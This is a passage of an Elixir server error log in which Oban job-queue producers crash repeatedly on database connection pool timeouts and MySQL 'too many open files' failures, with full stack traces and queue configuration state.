    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:27:32.239162Z], limit: 50, uuid: "7239665e-8557-4286-a8d1-78f4263924e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:32.239169Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61675>, refresh_timer: #Reference<0.2525715032.1077673987.39027>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 816ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:27:32.239374Z], limit: 10, uuid: "66fe9f97-4223-4a5e-bf13-b00a599e52b4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:32.239379Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61673>, refresh_timer: #Reference<0.2525715032.1077673987.39037>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:44.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 882ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:27:32.239106Z], limit: 3, uuid: "c3c2ceaa-680d-40cf-8197-9ba481ea46db", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:32.239116Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61671>, refresh_timer: #Reference<0.2525715032.1068498948.61645>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:44.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 829ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:27:32.239362Z], limit: 5, uuid: "50bfe407-6716-4f6e-a7f1-7f7a678ed9c4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:32.239368Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61672>, refresh_timer: #Reference<0.2525715032.1099431938.58901>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:44.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:27:32.239430Z], limit: 20, uuid: "0a4e1d8e-01ba-4c21-8c22-66cf2893af4c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:32.239435Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61670>, refresh_timer: #Reference<0.2525715032.1068498948.61662>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:44.552000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:44.591000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:45.060000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:45.427000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:47.926000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:48.271000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:54.412000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:55.976000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:57.015000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:27:57.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:27:44.240265Z], limit: 3, uuid: "b84ba0d4-5e60-4663-bda8-c18170b97ef5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:44.240270Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61935>, refresh_timer: #Reference<0.2525715032.1068498948.61897>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2035ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:27:44.239811Z], limit: 50, uuid: "21a5f726-9ff1-4999-8d50-432124c423bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:44.239816Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61934>, refresh_timer: #Reference<0.2525715032.1068498948.61903>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2072ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:27:44.240156Z], limit: 10, uuid: "577bedfe-ab76-49b4-9752-18b53e16830b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:44.240161Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61931>, refresh_timer: #Reference<0.2525715032.1068498948.61906>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2047ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:27:44.240403Z], limit: 5, uuid: "da52d2ac-750b-4f7b-87e6-2b75c557034e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:27:44.240409Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.61932>, refresh_timer: #Reference<0.2525715032.1068498948.61909>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:27:57.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1815ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
